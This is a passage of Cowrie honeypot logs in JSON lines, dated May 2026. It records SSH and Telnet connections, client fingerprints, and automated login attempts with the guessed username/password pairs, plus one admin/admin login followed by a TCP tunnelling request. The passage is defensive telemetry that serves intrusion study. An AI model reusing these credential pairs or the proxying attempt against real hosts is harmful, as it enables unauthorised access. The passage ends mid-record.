{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:46:00.472440Z","src_ip":"101.109.219.135","session":"68ab906a5e6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"calimero","message":"login attempt [root/calimero] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:46:01.519865Z","src_ip":"101.109.219.135","session":"68ab906a5e6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:46:02.776445Z","src_ip":"101.109.219.135","session":"68ab906a5e6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.116.56.108","src_port":44994,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c50792b2118","protocol":"ssh","message":"New connection: 186.116.56.108:44994 (159.203.135.109:22) [session: 3c50792b2118]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:46:20.170099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:46:20.176657Z","src_ip":"186.116.56.108","session":"3c50792b2118","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:46:20.269955Z","src_ip":"186.116.56.108","session":"3c50792b2118","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password2014","message":"login attempt [root/Password2014] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:46:20.660470Z","src_ip":"186.116.56.108","session":"3c50792b2118","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:46:21.752502Z","src_ip":"186.116.56.108","session":"3c50792b2118","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":35555,"dst_ip":"10.17.0.5","dst_port":22,"session":"cef73095ec00","protocol":"ssh","message":"New connection: 2.57.121.25:35555 (10.17.0.5:22) [session: cef73095ec00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:46:35.738938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:46:35.743888Z","src_ip":"2.57.121.25","session":"cef73095ec00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:46:35.848118Z","src_ip":"2.57.121.25","session":"cef73095ec00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"fenton","message":"login attempt [user/fenton] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:46:36.334479Z","src_ip":"2.57.121.25","session":"cef73095ec00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"fenix","message":"login attempt [user/fenix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:46:37.440519Z","src_ip":"2.57.121.25","session":"cef73095ec00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"felony","message":"login attempt [user/felony] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:46:38.545922Z","src_ip":"2.57.121.25","session":"cef73095ec00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"favorite8","message":"login attempt [user/favorite8] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:46:39.651432Z","src_ip":"2.57.121.25","session":"cef73095ec00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"favorite7","message":"login attempt [user/favorite7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:46:40.761778Z","src_ip":"2.57.121.25","session":"cef73095ec00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:46:41.869096Z","src_ip":"2.57.121.25","session":"cef73095ec00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.29.225.206","src_port":35248,"dst_ip":"159.203.135.109","dst_port":22,"session":"c889b584f56e","protocol":"ssh","message":"New connection: 202.29.225.206:35248 (159.203.135.109:22) [session: c889b584f56e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:47:08.349651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:47:08.355234Z","src_ip":"202.29.225.206","session":"c889b584f56e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:47:08.604556Z","src_ip":"202.29.225.206","session":"c889b584f56e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"victory1","message":"login attempt [root/victory1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:47:09.632468Z","src_ip":"202.29.225.206","session":"c889b584f56e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:47:10.880580Z","src_ip":"202.29.225.206","session":"c889b584f56e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":17732,"dst_ip":"10.17.0.5","dst_port":22,"session":"428543b28757","protocol":"ssh","message":"New connection: 87.251.64.176:17732 (10.17.0.5:22) [session: 428543b28757]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:47:23.702039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:47:23.710960Z","src_ip":"87.251.64.176","session":"428543b28757","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:47:23.816712Z","src_ip":"87.251.64.176","session":"428543b28757","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:47:24.130510Z","src_ip":"87.251.64.176","session":"428543b28757","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:47:24.257514Z","session":"428543b28757","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:47:24.356029Z","src_ip":"87.251.64.176","session":"428543b28757","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:47:24.454789Z","src_ip":"87.251.64.176","session":"428543b28757","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.221.44.166","src_port":56240,"dst_ip":"159.203.135.109","dst_port":23,"session":"feb6e468206b","protocol":"telnet","message":"New connection: 113.221.44.166:56240 (159.203.135.109:23) [session: feb6e468206b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:47:45.080941Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.116.56.108","src_port":43810,"dst_ip":"159.203.135.109","dst_port":22,"session":"b817f1a78f0e","protocol":"ssh","message":"New connection: 186.116.56.108:43810 (159.203.135.109:22) [session: b817f1a78f0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:47:48.060807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:47:48.064828Z","src_ip":"186.116.56.108","session":"b817f1a78f0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:47:48.153128Z","src_ip":"186.116.56.108","session":"b817f1a78f0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00106239318848,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:47:48.286071Z","src_ip":"31.134.20.206","session":"497e6025ebde","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"hp@123","message":"login attempt [root/hp@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:47:48.542158Z","src_ip":"186.116.56.108","session":"b817f1a78f0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:47:49.640704Z","src_ip":"186.116.56.108","session":"b817f1a78f0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0011658668518,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:47:53.686718Z","src_ip":"31.134.20.206","session":"cb9354a423cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.134.20.206","src_port":54408,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fb3e2d92847","protocol":"telnet","message":"New connection: 31.134.20.206:54408 (159.203.135.109:23) [session: 0fb3e2d92847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:47:54.698843Z"}
{"eventid":"cowrie.session.closed","duration":13.873435735702515,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:47:58.954223Z","src_ip":"113.221.44.166","session":"feb6e468206b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.121.31.17","src_port":60518,"dst_ip":"10.17.0.5","dst_port":22,"session":"63b2350569e5","protocol":"ssh","message":"New connection: 124.121.31.17:60518 (10.17.0.5:22) [session: 63b2350569e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:48:00.108414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:48:00.113366Z","src_ip":"124.121.31.17","session":"63b2350569e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:48:00.382263Z","src_ip":"124.121.31.17","session":"63b2350569e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qweasd","message":"login attempt [root/123qweasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:48:01.491316Z","src_ip":"124.121.31.17","session":"63b2350569e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:48:02.764063Z","src_ip":"124.121.31.17","session":"63b2350569e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.186","src_port":16543,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f44a54f7bc5","protocol":"ssh","message":"New connection: 178.20.210.186:16543 (10.17.0.5:22) [session: 2f44a54f7bc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:48:10.666214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:48:10.670401Z","src_ip":"178.20.210.186","session":"2f44a54f7bc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecd